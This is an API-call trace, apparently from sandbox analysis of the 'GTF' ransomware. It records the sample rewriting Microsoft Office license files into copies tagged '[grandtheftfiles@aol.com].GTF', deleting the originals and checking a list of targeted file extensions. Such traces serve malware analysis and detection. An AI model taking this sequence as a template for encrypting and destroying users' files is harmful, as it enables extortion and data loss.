	[0182.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.665] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.665] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.665] GetLastError () returned 0x0
	[0182.665] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2993, lpOverlapped=0x0) returned 1
	[0182.667] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0182.668] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.668] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0182.668] SetEndOfFile (hFile=0x538) returned 1
	[0182.668] CloseHandle (hObject=0x538) returned 1
	[0182.669] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.669] SetEndOfFile (hFile=0x42c) returned 1
	[0182.673] CloseHandle (hObject=0x42c) returned 1
	[0182.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms")) returned 1
	[0182.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.674] lstrlenW (lpString=".doc") returned 4
	[0182.674] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.674] lstrlenW (lpString=".docx") returned 5
	[0182.674] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.674] lstrlenW (lpString=".pdf") returned 4
	[0182.674] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.674] lstrlenW (lpString=".xls") returned 4
	[0182.674] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString=".xlsx") returned 5
	[0182.675] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.675] lstrlenW (lpString=".ppt") returned 4
	[0182.675] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.675] lstrlenW (lpString=".zip") returned 4
	[0182.675] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString=".rar") returned 4
	[0182.675] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString=".bz2") returned 4
	[0182.675] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString=".7z") returned 3
	[0182.675] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.675] lstrlenW (lpString=".dbf") returned 4
	[0182.675] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.675] lstrlenW (lpString=".1cd") returned 4
	[0182.675] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.675] lstrlenW (lpString=".jpg") returned 4
	[0182.675] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.675] lstrlenW (lpString=".doc") returned 4
	[0182.675] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString=".docx") returned 5
	[0182.675] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.675] lstrlenW (lpString=".pdf") returned 4
	[0182.675] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString=".xls") returned 4
	[0182.675] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.675] lstrlenW (lpString=".xlsx") returned 5
	[0182.675] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.675] lstrlenW (lpString=".ppt") returned 4
	[0182.675] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.676] lstrlenW (lpString=".zip") returned 4
	[0182.676] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.676] lstrlenW (lpString=".rar") returned 4
	[0182.676] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.676] lstrlenW (lpString=".bz2") returned 4
	[0182.676] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.676] lstrlenW (lpString=".7z") returned 3
	[0182.676] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.676] lstrlenW (lpString=".dbf") returned 4
	[0182.676] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.676] lstrlenW (lpString=".1cd") returned 4
	[0182.676] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms") returned 77
	[0182.676] lstrlenW (lpString=".jpg") returned 4
	[0182.676] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.676] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.676] lstrlenW (lpString="OneNoteR_OEM_Perp-ppd.xrm-ms") returned 28
	[0182.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.677] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=20904) returned 1
	[0182.677] CloseHandle (hObject=0x42c) returned 1
	[0182.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms")) returned 0x220
	[0182.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.678] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.678] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.679] GetLastError () returned 0x0
	[0182.679] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x51a8, lpOverlapped=0x0) returned 1
	[0182.945] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0182.959] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.959] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0182.959] SetEndOfFile (hFile=0x538) returned 1
	[0182.960] CloseHandle (hObject=0x538) returned 1
	[0182.960] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.960] SetEndOfFile (hFile=0x42c) returned 1
	[0182.963] CloseHandle (hObject=0x42c) returned 1
	[0182.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms")) returned 1
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.964] lstrlenW (lpString=".doc") returned 4
	[0182.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".docx") returned 5
	[0182.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.964] lstrlenW (lpString=".pdf") returned 4
	[0182.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".xls") returned 4
	[0182.964] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".xlsx") returned 5
	[0182.964] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.964] lstrlenW (lpString=".ppt") returned 4
	[0182.964] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.964] lstrlenW (lpString=".zip") returned 4
	[0182.964] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".rar") returned 4
	[0182.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".bz2") returned 4
	[0182.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".7z") returned 3
	[0182.965] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.965] lstrlenW (lpString=".dbf") returned 4
	[0182.965] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.965] lstrlenW (lpString=".1cd") returned 4
	[0182.965] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.965] lstrlenW (lpString=".jpg") returned 4
	[0182.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.965] lstrlenW (lpString=".doc") returned 4
	[0182.965] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".docx") returned 5
	[0182.965] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.965] lstrlenW (lpString=".pdf") returned 4
	[0182.965] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".xls") returned 4
	[0182.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".xlsx") returned 5
	[0182.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.965] lstrlenW (lpString=".ppt") returned 4
	[0182.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.965] lstrlenW (lpString=".zip") returned 4
	[0182.965] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".rar") returned 4
	[0182.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".bz2") returned 4
	[0182.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.965] lstrlenW (lpString=".7z") returned 3
	[0182.966] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.966] lstrlenW (lpString=".dbf") returned 4
	[0182.966] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.966] lstrlenW (lpString=".1cd") returned 4
	[0182.966] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms") returned 78
	[0182.966] lstrlenW (lpString=".jpg") returned 4
	[0182.966] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.966] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.966] lstrlenW (lpString="OneNoteVL_KMS_Client-ppd.xrm-ms") returned 31
	[0182.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.967] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6863) returned 1
	[0182.967] CloseHandle (hObject=0x42c) returned 1
	[0182.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms")) returned 0x220
	[0182.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.967] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.967] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.968] GetLastError () returned 0x0
	[0182.968] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1acf, lpOverlapped=0x0) returned 1
	[0182.970] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0182.971] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.971] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x112, lpOverlapped=0x0) returned 1
	[0182.971] SetEndOfFile (hFile=0x538) returned 1
	[0182.971] CloseHandle (hObject=0x538) returned 1
	[0182.971] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.971] SetEndOfFile (hFile=0x42c) returned 1
	[0182.974] CloseHandle (hObject=0x42c) returned 1
	[0182.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_kms_client-ppd.xrm-ms")) returned 1
	[0182.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.975] lstrlenW (lpString=".doc") returned 4
	[0182.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString=".docx") returned 5
	[0182.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.976] lstrlenW (lpString=".pdf") returned 4
	[0182.976] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString=".xls") returned 4
	[0182.976] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString=".xlsx") returned 5
	[0182.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.976] lstrlenW (lpString=".ppt") returned 4
	[0182.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.976] lstrlenW (lpString=".zip") returned 4
	[0182.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString=".rar") returned 4
	[0182.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString=".bz2") returned 4
	[0182.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString=".7z") returned 3
	[0182.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.976] lstrlenW (lpString=".dbf") returned 4
	[0182.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.976] lstrlenW (lpString=".1cd") returned 4
	[0182.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.976] lstrlenW (lpString=".jpg") returned 4
	[0182.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.976] lstrlenW (lpString=".doc") returned 4
	[0182.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.976] lstrlenW (lpString=".docx") returned 5
	[0182.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.976] lstrlenW (lpString=".pdf") returned 4
	[0182.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString=".xls") returned 4
	[0182.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString=".xlsx") returned 5
	[0182.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.977] lstrlenW (lpString=".ppt") returned 4
	[0182.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.977] lstrlenW (lpString=".zip") returned 4
	[0182.977] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString=".rar") returned 4
	[0182.977] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString=".bz2") returned 4
	[0182.977] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString=".7z") returned 3
	[0182.977] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.977] lstrlenW (lpString=".dbf") returned 4
	[0182.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.977] lstrlenW (lpString=".1cd") returned 4
	[0182.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ppd.xrm-ms") returned 81
	[0182.977] lstrlenW (lpString=".jpg") returned 4
